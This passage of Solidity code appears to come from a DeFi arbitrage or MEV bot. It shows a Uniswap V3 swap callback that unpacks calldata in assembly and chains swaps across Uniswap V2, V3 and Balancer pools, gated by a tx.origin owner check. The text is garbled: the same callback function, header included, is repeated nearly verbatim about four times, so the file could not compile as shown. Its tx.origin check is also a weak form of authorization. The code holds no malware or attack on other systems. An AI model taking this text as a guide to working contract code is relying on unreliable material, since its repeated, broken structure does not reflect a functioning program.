pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
if(zeroForOne2){
V2Swap(pair2,0,amount2,pair3);
}
else{
V2Swap(pair2,amount2,0,pair3);
}
if(zeroForOne3){
V2Swap(pair3,0,amount3,address(this));
}
else{
V2Swap(pair3,amount3,0,address(this));
}
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
wethTransfer(msg.sender,v3In);
}
else if(type2==11) {
bytes memory data = new bytes(32);
assembly {
let fourth32bytes := calldataload(164)
mstore(add(data, 32), add(shl(4,shr(4,fourth32bytes)),0x02))
}
int v3In;
if(amount0Delta>0){
v3In=-amount0Delta;
}
else{
v3In=-amount1Delta;
}
V3Swap(pair2,msg.sender,zeroForOne2,v3In,data);
}
else if(type2==12) {
address tokenIn;
address tokenOut;
uint8 type3;
assembly {
let fourth32bytes := calldataload(164)
let fifth32bytes := calldataload(196)
tokenIn:=shr(96,fourth32bytes)
tokenOut:=shr(96,fifth32bytes)
type3:=and(fourth32bytes,0x0f)
}
if(type3==0){
uint balIn;
if(amount0Delta>0){
balIn=uint(-amount1Delta);
}
else{
balIn=uint(-amount0Delta);
}
uint out =BalSwap(pair2,tokenIn,tokenOut,balIn,zeroForOne2);
wethTransfer(msg.sender,out-amount2);
}
else if(type3==1){
uint v3Out;
if(amount0Delta>0){
v3Out=uint(-amount1Delta);
}
else{
v3Out=uint(-amount0Delta);
}
uint out=BalSwap(pair2,tokenIn,tokenOut,amount2,zeroForOne2);
erc20Transfer(tokenOut,msg.sender,out);
}
else{
revert("");
}
}
else{
revert("");
}
}
function uniswapV3SwapCallback(
int256 amount0Delta,
int256 amount1Delta,
bytes calldata _data
) external override {
if( tx.origin != owner)
{
revert("");
}
assembly {
let calldata32bytes := calldataload(132)
pair2 := shr(96,calldata32bytes)
amount2:= and(shr(8,calldata32bytes),0xffffffffffffffffffffff)
type2:=and(calldata32bytes,0x0f)
zeroForOne2:=and(calldata32bytes,0xf0)
}
if(type2==0){
if (zeroForOne2){
wethTransfer(pair2,uint256(-amount0Delta)-amount2);
V2Swap(pair2,0,uint(amount1Delta),msg.sender);
}
else{
wethTransfer(pair2,uint256(-amount1Delta)-amount2);
V2Swap(pair2,uint(amount0Delta),0,msg.sender);
}
}
else if(type2==1) {
if (zeroForOne2){
V2Swap(pair2,0,uint(amount1Delta)+amount2,address(this));
wethTransfer(msg.sender,uint(amount1Delta));
}
else{
V2Swap(pair2,uint(amount0Delta)+amount2,0,address(this));
wethTransfer(msg.sender,uint(amount0Delta));
}
}
else if(type2==2) {
bytes memory data = new bytes(32);
assembly{
let calldata32bytes := calldataload(132)
mstore(add(data, 32), add(shl(4,shr(4,calldata32bytes)),0x03))
}
int v3In;
if(amount0Delta>0){
v3In=-amount0Delta;
}
else{
v3In=-amount1Delta;
}
V3Swap(pair2,msg.sender,zeroForOne2,v3In,data);
}
else if(type2==3) {
wethTransfer(msg.sender,amount2);
}
else if(type2==4) {
assembly {
let calldata32bytes := calldataload(164)
pair3 := shr(96,calldata32bytes)
amount3:= and(shr(8,calldata32bytes),0xffffffffffffffffffffff)
zeroForOne3:=and(calldata32bytes,0xf0)
}
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
wethTransfer(pair2,amount2);
if(zeroForOne2){
V2Swap(pair2,0,amount3,pair3);
}
else{
V2Swap(pair2,amount3,0,pair3);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==5) {
bytes memory data = new bytes(64);
assembly {
let third32bytes := calldataload(132)
let fourth32bytes := calldataload(164)
mstore(add(data, 32), add(shl(4,shr(4,third32bytes)),0x06))
mstore(add(data, 64), fourth32bytes)
}
if(amount0Delta>0){
V3Swap(pair2,msg.sender,zeroForOne2,-int256(amount0Delta),data);
}
else{
V3Swap(pair2,msg.sender,zeroForOne2,-int256(amount1Delta),data);
}
}
else if(type2==6) {
assembly {
let calldata32bytes := calldataload(164)
pair3 := shr(96,calldata32bytes)
amount3:= and(shr(8,calldata32bytes),0xffffffffffffffffffffff)
zeroForOne3:=and(calldata32bytes,0xf0)
}
wethTransfer(pair3,amount3);
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==7) {
bytes memory data = new bytes(32);
assembly {
let third32bytes := calldataload(132)
mstore(add(data, 32), add(shl(4,shr(4,third32bytes)),0x03))
let fourth32bytes := calldataload(164)
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
V3Swap(pair2,pair3,zeroForOne2,int256(amount2),data);
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==8) {
bytes memory data = new bytes(32);
assembly {
let third32bytes := calldataload(132)
let fourth32bytes := calldataload(164)
mstore(add(data, 32), add(shl(4,shr(4,fourth32bytes)),0x03))
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
if(zeroForOne2){
V2Swap(pair2,0,amount2,address(this));
}
else{
V2Swap(pair2,amount2,0,address(this));
}
if(amount0Delta>0){
V3Swap(pair3,msg.sender,zeroForOne3,-amount0Delta,data);
}
else{
V3Swap(pair3,msg.sender,zeroForOne3,-amount1Delta,data);
}
}
else if(type2==9) {
assembly {
let third32bytes := calldataload(132)
let fourth32bytes := calldataload(164)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
if(zeroForOne2){
V2Swap(pair2,0,amount2,address(this));
}
else{
V2Swap(pair2,amount2,0,address(this));
}
wethTransfer(pair3,amount3);
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==10) {
assembly {
let fourth32bytes := calldataload(164)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
if(zeroForOne2){
V2Swap(pair2,0,amount2,pair3);
}
else{
V2Swap(pair2,amount2,0,pair3);
}
if(zeroForOne3){
V2Swap(pair3,0,amount3,address(this));
}
else{
V2Swap(pair3,amount3,0,address(this));
}
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
wethTransfer(msg.sender,v3In);
}
else if(type2==11) {
bytes memory data = new bytes(32);
assembly {
let fourth32bytes := calldataload(164)
mstore(add(data, 32), add(shl(4,shr(4,fourth32bytes)),0x02))
}
int v3In;
if(amount0Delta>0){
v3In=-amount0Delta;
}
else{
v3In=-amount1Delta;
}
V3Swap(pair2,msg.sender,zeroForOne2,v3In,data);
}
else if(type2==12) {
address tokenIn;
address tokenOut;
uint8 type3;
assembly {
let fourth32bytes := calldataload(164)
let fifth32bytes := calldataload(196)
tokenIn:=shr(96,fourth32bytes)
tokenOut:=shr(96,fifth32bytes)
type3:=and(fourth32bytes,0x0f)
}
if(type3==0){
uint balIn;
if(amount0Delta>0){
balIn=uint(-amount1Delta);
}
else{
balIn=uint(-amount0Delta);
}
uint out =BalSwap(pair2,tokenIn,tokenOut,balIn,zeroForOne2);
wethTransfer(msg.sender,out-amount2);
}
else if(type3==1){
uint v3Out;
if(amount0Delta>0){
v3Out=uint(-amount1Delta);
}
else{
v3Out=uint(-amount0Delta);
}
uint out=BalSwap(pair2,tokenIn,tokenOut,amount2,zeroForOne2);
erc20Transfer(tokenOut,msg.sender,out);
}
else{
revert("");
}
}
else{
revert("");
}
}
function uniswapV3SwapCallback(
int256 amount0Delta,
int256 amount1Delta,
bytes calldata _data
) external override {
if( tx.origin != owner)
{
revert("");
}
assembly {
let calldata32bytes := calldataload(132)
pair2 := shr(96,calldata32bytes)
amount2:= and(shr(8,calldata32bytes),0xffffffffffffffffffffff)
type2:=and(calldata32bytes,0x0f)
zeroForOne2:=and(calldata32bytes,0xf0)
}
if(type2==0){
if (zeroForOne2){
wethTransfer(pair2,uint256(-amount0Delta)-amount2);
V2Swap(pair2,0,uint(amount1Delta),msg.sender);
}
else{
wethTransfer(pair2,uint256(-amount1Delta)-amount2);
V2Swap(pair2,uint(amount0Delta),0,msg.sender);
}
}
else if(type2==1) {
if (zeroForOne2){
V2Swap(pair2,0,uint(amount1Delta)+amount2,address(this));
wethTransfer(msg.sender,uint(amount1Delta));
}
else{
V2Swap(pair2,uint(amount0Delta)+amount2,0,address(this));
wethTransfer(msg.sender,uint(amount0Delta));
}
}
else if(type2==2) {
bytes memory data = new bytes(32);
assembly{
let calldata32bytes := calldataload(132)
mstore(add(data, 32), add(shl(4,shr(4,calldata32bytes)),0x03))
}
int v3In;
if(amount0Delta>0){
v3In=-amount0Delta;
}
else{
v3In=-amount1Delta;
}
V3Swap(pair2,msg.sender,zeroForOne2,v3In,data);
}
else if(type2==3) {
wethTransfer(msg.sender,amount2);
}
else if(type2==4) {
assembly {
let calldata32bytes := calldataload(164)
pair3 := shr(96,calldata32bytes)
amount3:= and(shr(8,calldata32bytes),0xffffffffffffffffffffff)
zeroForOne3:=and(calldata32bytes,0xf0)
}
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
wethTransfer(pair2,amount2);
if(zeroForOne2){
V2Swap(pair2,0,amount3,pair3);
}
else{
V2Swap(pair2,amount3,0,pair3);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==5) {
bytes memory data = new bytes(64);
assembly {
let third32bytes := calldataload(132)
let fourth32bytes := calldataload(164)
mstore(add(data, 32), add(shl(4,shr(4,third32bytes)),0x06))
mstore(add(data, 64), fourth32bytes)
}
if(amount0Delta>0){
V3Swap(pair2,msg.sender,zeroForOne2,-int256(amount0Delta),data);
}
else{
V3Swap(pair2,msg.sender,zeroForOne2,-int256(amount1Delta),data);
}
}
else if(type2==6) {
assembly {
let calldata32bytes := calldataload(164)
pair3 := shr(96,calldata32bytes)
amount3:= and(shr(8,calldata32bytes),0xffffffffffffffffffffff)
zeroForOne3:=and(calldata32bytes,0xf0)
}
wethTransfer(pair3,amount3);
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==7) {
bytes memory data = new bytes(32);
assembly {
let third32bytes := calldataload(132)
mstore(add(data, 32), add(shl(4,shr(4,third32bytes)),0x03))
let fourth32bytes := calldataload(164)
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
V3Swap(pair2,pair3,zeroForOne2,int256(amount2),data);
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==8) {
bytes memory data = new bytes(32);
assembly {
let third32bytes := calldataload(132)
let fourth32bytes := calldataload(164)
mstore(add(data, 32), add(shl(4,shr(4,fourth32bytes)),0x03))
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
if(zeroForOne2){
V2Swap(pair2,0,amount2,address(this));
}
else{
V2Swap(pair2,amount2,0,address(this));
}
if(amount0Delta>0){
V3Swap(pair3,msg.sender,zeroForOne3,-amount0Delta,data);
}
else{
V3Swap(pair3,msg.sender,zeroForOne3,-amount1Delta,data);
}
}
else if(type2==9) {
assembly {
let third32bytes := calldataload(132)
let fourth32bytes := calldataload(164)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
if(zeroForOne2){
V2Swap(pair2,0,amount2,address(this));
}
else{
V2Swap(pair2,amount2,0,address(this));
}
wethTransfer(pair3,amount3);
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==10) {
assembly {
let fourth32bytes := calldataload(164)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
if(zeroForOne2){
V2Swap(pair2,0,amount2,pair3);
}
else{
V2Swap(pair2,amount2,0,pair3);
}
if(zeroForOne3){
V2Swap(pair3,0,amount3,address(this));
}
else{
V2Swap(pair3,amount3,0,address(this));
}
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
wethTransfer(msg.sender,v3In);
}
else if(type2==11) {
bytes memory data = new bytes(32);
assembly {
let fourth32bytes := calldataload(164)
mstore(add(data, 32), add(shl(4,shr(4,fourth32bytes)),0x02))
}
int v3In;
if(amount0Delta>0){
v3In=-amount0Delta;
}
else{
v3In=-amount1Delta;
}
V3Swap(pair2,msg.sender,zeroForOne2,v3In,data);
}
else if(type2==12) {
address tokenIn;
address tokenOut;
uint8 type3;
assembly {
let fourth32bytes := calldataload(164)
let fifth32bytes := calldataload(196)
tokenIn:=shr(96,fourth32bytes)
tokenOut:=shr(96,fifth32bytes)
type3:=and(fourth32bytes,0x0f)
}
if(type3==0){
uint balIn;
if(amount0Delta>0){
balIn=uint(-amount1Delta);
}
else{
balIn=uint(-amount0Delta);
}
uint out =BalSwap(pair2,tokenIn,tokenOut,balIn,zeroForOne2);
wethTransfer(msg.sender,out-amount2);
}
else if(type3==1){
uint v3Out;
if(amount0Delta>0){
v3Out=uint(-amount1Delta);
}
else{
v3Out=uint(-amount0Delta);
}
uint out=BalSwap(pair2,tokenIn,tokenOut,amount2,zeroForOne2);
erc20Transfer(tokenOut,msg.sender,out);
}
else{
revert("");
}
}
else{
revert("");
}
}
function uniswapV3SwapCallback(
int256 amount0Delta,
int256 amount1Delta,
bytes calldata _data
) external override {
if( tx.origin != owner)
{
revert("");
}
assembly {
let calldata32bytes := calldataload(132)
pair2 := shr(96,calldata32bytes)
amount2:= and(shr(8,calldata32bytes),0xffffffffffffffffffffff)
type2:=and(calldata32bytes,0x0f)
zeroForOne2:=and(calldata32bytes,0xf0)
}
if(type2==0){
if (zeroForOne2){
wethTransfer(pair2,uint256(-amount0Delta)-amount2);
V2Swap(pair2,0,uint(amount1Delta),msg.sender);
}
else{
wethTransfer(pair2,uint256(-amount1Delta)-amount2);
V2Swap(pair2,uint(amount0Delta),0,msg.sender);
}
}
else if(type2==1) {
if (zeroForOne2){
V2Swap(pair2,0,uint(amount1Delta)+amount2,address(this));
wethTransfer(msg.sender,uint(amount1Delta));
}
else{
V2Swap(pair2,uint(amount0Delta)+amount2,0,address(this));
wethTransfer(msg.sender,uint(amount0Delta));
}
}
else if(type2==2) {
bytes memory data = new bytes(32);
assembly{
let calldata32bytes := calldataload(132)
mstore(add(data, 32), add(shl(4,shr(4,calldata32bytes)),0x03))
}
int v3In;
if(amount0Delta>0){
v3In=-amount0Delta;
}
else{
v3In=-amount1Delta;
}
V3Swap(pair2,msg.sender,zeroForOne2,v3In,data);
}
else if(type2==3) {
wethTransfer(msg.sender,amount2);
}
else if(type2==4) {
assembly {
let calldata32bytes := calldataload(164)
pair3 := shr(96,calldata32bytes)
amount3:= and(shr(8,calldata32bytes),0xffffffffffffffffffffff)
zeroForOne3:=and(calldata32bytes,0xf0)
}
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
wethTransfer(pair2,amount2);
if(zeroForOne2){
V2Swap(pair2,0,amount3,pair3);
}
else{
V2Swap(pair2,amount3,0,pair3);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==5) {
bytes memory data = new bytes(64);
assembly {
let third32bytes := calldataload(132)
let fourth32bytes := calldataload(164)
mstore(add(data, 32), add(shl(4,shr(4,third32bytes)),0x06))
mstore(add(data, 64), fourth32bytes)
}
if(amount0Delta>0){
V3Swap(pair2,msg.sender,zeroForOne2,-int256(amount0Delta),data);
}
else{
V3Swap(pair2,msg.sender,zeroForOne2,-int256(amount1Delta),data);
}
}
else if(type2==6) {
assembly {
let calldata32bytes := calldataload(164)
pair3 := shr(96,calldata32bytes)
amount3:= and(shr(8,calldata32bytes),0xffffffffffffffffffffff)
zeroForOne3:=and(calldata32bytes,0xf0)
}
wethTransfer(pair3,amount3);
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==7) {
bytes memory data = new bytes(32);
assembly {
let third32bytes := calldataload(132)
mstore(add(data, 32), add(shl(4,shr(4,third32bytes)),0x03))
let fourth32bytes := calldataload(164)
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
V3Swap(pair2,pair3,zeroForOne2,int256(amount2),data);
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==8) {
bytes memory data = new bytes(32);
assembly {
let third32bytes := calldataload(132)
let fourth32bytes := calldataload(164)
mstore(add(data, 32), add(shl(4,shr(4,fourth32bytes)),0x03))
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
if(zeroForOne2){
V2Swap(pair2,0,amount2,address(this));
}
else{
V2Swap(pair2,amount2,0,address(this));
}
if(amount0Delta>0){
V3Swap(pair3,msg.sender,zeroForOne3,-amount0Delta,data);
}
else{
V3Swap(pair3,msg.sender,zeroForOne3,-amount1Delta,data);
}
}
else if(type2==9) {
assembly {
let third32bytes := calldataload(132)
let fourth32bytes := calldataload(164)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
if(zeroForOne2){
V2Swap(pair2,0,amount2,address(this));
}
else{
V2Swap(pair2,amount2,0,address(this));
}
wethTransfer(pair3,amount3);
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==10) {
assembly {
let fourth32bytes := calldataload(164)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
if(zeroForOne2){
V2Swap(pair2,0,amount2,pair3);
}
else{
V2Swap(pair2,amount2,0,pair3);
}
if(zeroForOne3){
V2Swap(pair3,0,amount3,address(this));
}
else{
V2Swap(pair3,amount3,0,address(this));
}
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
wethTransfer(msg.sender,v3In);
}
else if(type2==11) {
bytes memory data = new bytes(32);
assembly {
let fourth32bytes := calldataload(164)
mstore(add(data, 32), add(shl(4,shr(4,fourth32bytes)),0x02))
}
int v3In;
if(amount0Delta>0){
v3In=-amount0Delta;
}
else{
v3In=-amount1Delta;
}
V3Swap(pair2,msg.sender,zeroForOne2,v3In,data);
}
else if(type2==12) {
address tokenIn;
address tokenOut;
uint8 type3;
assembly {
let fourth32bytes := calldataload(164)
let fifth32bytes := calldataload(196)
tokenIn:=shr(96,fourth32bytes)
tokenOut:=shr(96,fifth32bytes)
type3:=and(fourth32bytes,0x0f)
}
if(type3==0){
uint balIn;
if(amount0Delta>0){
balIn=uint(-amount1Delta);
}
else{
balIn=uint(-amount0Delta);
}
uint out =BalSwap(pair2,tokenIn,tokenOut,balIn,zeroForOne2);
wethTransfer(msg.sender,out-amount2);
}
else if(type3==1){
uint v3Out;
if(amount0Delta>0){
v3Out=uint(-amount1Delta);
}
else{
v3Out=uint(-amount0Delta);
}
uint out=BalSwap(pair2,tokenIn,tokenOut,amount2,zeroForOne2);
erc20Transfer(tokenOut,msg.sender,out);
}
else{
revert("");
}
}
else{
revert("");
}
}
function uniswapV3SwapCallback(
int256 amount0Delta,
int256 amount1Delta,
bytes calldata _data
) external override {
if( tx.origin != owner)
{
revert("");
}
assembly {
let calldata32bytes := calldataload(132)
pair2 := shr(96,calldata32bytes)
amount2:= and(shr(8,calldata32bytes),0xffffffffffffffffffffff)
type2:=and(calldata32bytes,0x0f)
zeroForOne2:=and(calldata32bytes,0xf0)
}
if(type2==0){
if (zeroForOne2){
wethTransfer(pair2,uint256(-amount0Delta)-amount2);
V2Swap(pair2,0,uint(amount1Delta),msg.sender);
}
else{
wethTransfer(pair2,uint256(-amount1Delta)-amount2);
V2Swap(pair2,uint(amount0Delta),0,msg.sender);
}
}
else if(type2==1) {
if (zeroForOne2){
V2Swap(pair2,0,uint(amount1Delta)+amount2,address(this));
wethTransfer(msg.sender,uint(amount1Delta));
}
else{
V2Swap(pair2,uint(amount0Delta)+amount2,0,address(this));
wethTransfer(msg.sender,uint(amount0Delta));
}
}
else if(type2==2) {
bytes memory data = new bytes(32);
assembly{
let calldata32bytes := calldataload(132)
mstore(add(data, 32), add(shl(4,shr(4,calldata32bytes)),0x03))
}
int v3In;
if(amount0Delta>0){
v3In=-amount0Delta;
}
else{
v3In=-amount1Delta;
}
V3Swap(pair2,msg.sender,zeroForOne2,v3In,data);
}
else if(type2==3) {
wethTransfer(msg.sender,amount2);
}
else if(type2==4) {
assembly {
let calldata32bytes := calldataload(164)
pair3 := shr(96,calldata32bytes)
amount3:= and(shr(8,calldata32bytes),0xffffffffffffffffffffff)
zeroForOne3:=and(calldata32bytes,0xf0)
}
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
wethTransfer(pair2,amount2);
if(zeroForOne2){
V2Swap(pair2,0,amount3,pair3);
}
else{
V2Swap(pair2,amount3,0,pair3);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==5) {
bytes memory data = new bytes(64);
assembly {
let third32bytes := calldataload(132)
let fourth32bytes := calldataload(164)
mstore(add(data, 32), add(shl(4,shr(4,third32bytes)),0x06))
mstore(add(data, 64), fourth32bytes)
}
if(amount0Delta>0){
V3Swap(pair2,msg.sender,zeroForOne2,-int256(amount0Delta),data);
}
else{
V3Swap(pair2,msg.sender,zeroForOne2,-int256(amount1Delta),data);
}
}
else if(type2==6) {
assembly {
let calldata32bytes := calldataload(164)
pair3 := shr(96,calldata32bytes)
amount3:= and(shr(8,calldata32bytes),0xffffffffffffffffffffff)
zeroForOne3:=and(calldata32bytes,0xf0)
}
wethTransfer(pair3,amount3);
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==7) {
bytes memory data = new bytes(32);
assembly {
let third32bytes := calldataload(132)
mstore(add(data, 32), add(shl(4,shr(4,third32bytes)),0x03))
let fourth32bytes := calldataload(164)
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
V3Swap(pair2,pair3,zeroForOne2,int256(amount2),data);
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==8) {
bytes memory data = new bytes(32);
assembly {
let third32bytes := calldataload(132)
let fourth32bytes := calldataload(164)
mstore(add(data, 32), add(shl(4,shr(4,fourth32bytes)),0x03))
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
if(zeroForOne2){
V2Swap(pair2,0,amount2,address(this));
}
else{
V2Swap(pair2,amount2,0,address(this));
}
if(amount0Delta>0){
V3Swap(pair3,msg.sender,zeroForOne3,-amount0Delta,data);
}
else{
V3Swap(pair3,msg.sender,zeroForOne3,-amount1Delta,data);
}
}
else if(type2==9) {
assembly {
let third32bytes := calldataload(132)
let fourth32bytes := calldataload(164)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
if(zeroForOne2){
V2Swap(pair2,0,amount2,address(this));
}
else{
V2Swap(pair2,amount2,0,address(this));
}
wethTransfer(pair3,amount3);
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==10) {
assembly {
let fourth32bytes := calldataload(164)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
if(zeroForOne2){
V2Swap(pair2,0,amount2,pair3);
}
else{
V2Swap(pair2,amount2,0,pair3);
}
if(zeroForOne3){
V2Swap(pair3,0,amount3,address(this));
}
else{
V2Swap(pair3,amount3,0,address(this));
}
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
wethTransfer(msg.sender,v3In);
}
else if(type2==11) {
bytes memory data = new bytes(32);
assembly {
let fourth32bytes := calldataload(164)
mstore(add(data, 32), add(shl(4,shr(4,fourth32bytes)),0x02))
}
int v3In;
if(amount0Delta>0){
v3In=-amount0Delta;
}
else{
v3In=-amount1Delta;
}
V3Swap(pair2,msg.sender,zeroForOne2,v3In,data);
}
else if(type2==12) {
address tokenIn;
address tokenOut;
uint8 type3;
assembly {
let fourth32bytes := calldataload(164)
let fifth32bytes := calldataload(196)
tokenIn:=shr(96,fourth32bytes)
tokenOut:=shr(96,fifth32bytes)
type3:=and(fourth32bytes,0x0f)
}
if(type3==0){
uint balIn;
if(amount0Delta>0){
balIn=uint(-amount1Delta);
}
else{
balIn=uint(-amount0Delta);
}
uint out =BalSwap(pair2,tokenIn,tokenOut,balIn,zeroForOne2);
wethTransfer(msg.sender,out-amount2);
}
else if(type3==1){
uint v3Out;
if(amount0Delta>0){
v3Out=uint(-amount1Delta);
}
else{
v3Out=uint(-amount0Delta);
}
uint out=BalSwap(pair2,tokenIn,tokenOut,amount2,zeroForOne2);
erc20Transfer(tokenOut,msg.sender,out);
}
else{
revert("");
}
}
else{
revert("");
}
}
function uniswapV3SwapCallback(
int256 amount0Delta,
int256 amount1Delta,
bytes calldata _data
) external override {
if( tx.origin != owner)
{
revert("");
}
assembly {
let calldata32bytes := calldataload(132)
pair2 := shr(96,calldata32bytes)
amount2:= and(shr(8,calldata32bytes),0xffffffffffffffffffffff)
type2:=and(calldata32bytes,0x0f)
zeroForOne2:=and(calldata32bytes,0xf0)
}
if(type2==0){
if (zeroForOne2){
wethTransfer(pair2,uint256(-amount0Delta)-amount2);
V2Swap(pair2,0,uint(amount1Delta),msg.sender);
}
else{
wethTransfer(pair2,uint256(-amount1Delta)-amount2);
V2Swap(pair2,uint(amount0Delta),0,msg.sender);
}
}
else if(type2==1) {
if (zeroForOne2){
V2Swap(pair2,0,uint(amount1Delta)+amount2,address(this));
wethTransfer(msg.sender,uint(amount1Delta));
}
else{
V2Swap(pair2,uint(amount0Delta)+amount2,0,address(this));
wethTransfer(msg.sender,uint(amount0Delta));
}
}
else if(type2==2) {
bytes memory data = new bytes(32);
assembly{
let calldata32bytes := calldataload(132)
mstore(add(data, 32), add(shl(4,shr(4,calldata32bytes)),0x03))
}
int v3In;
if(amount0Delta>0){
v3In=-amount0Delta;
}
else{
v3In=-amount1Delta;
}
V3Swap(pair2,msg.sender,zeroForOne2,v3In,data);
}
else if(type2==3) {
wethTransfer(msg.sender,amount2);
}
else if(type2==4) {
assembly {
let calldata32bytes := calldataload(164)
pair3 := shr(96,calldata32bytes)
amount3:= and(shr(8,calldata32bytes),0xffffffffffffffffffffff)
zeroForOne3:=and(calldata32bytes,0xf0)
}
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
wethTransfer(pair2,amount2);
if(zeroForOne2){
V2Swap(pair2,0,amount3,pair3);
}
else{
V2Swap(pair2,amount3,0,pair3);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==5) {
bytes memory data = new bytes(64);
assembly {
let third32bytes := calldataload(132)
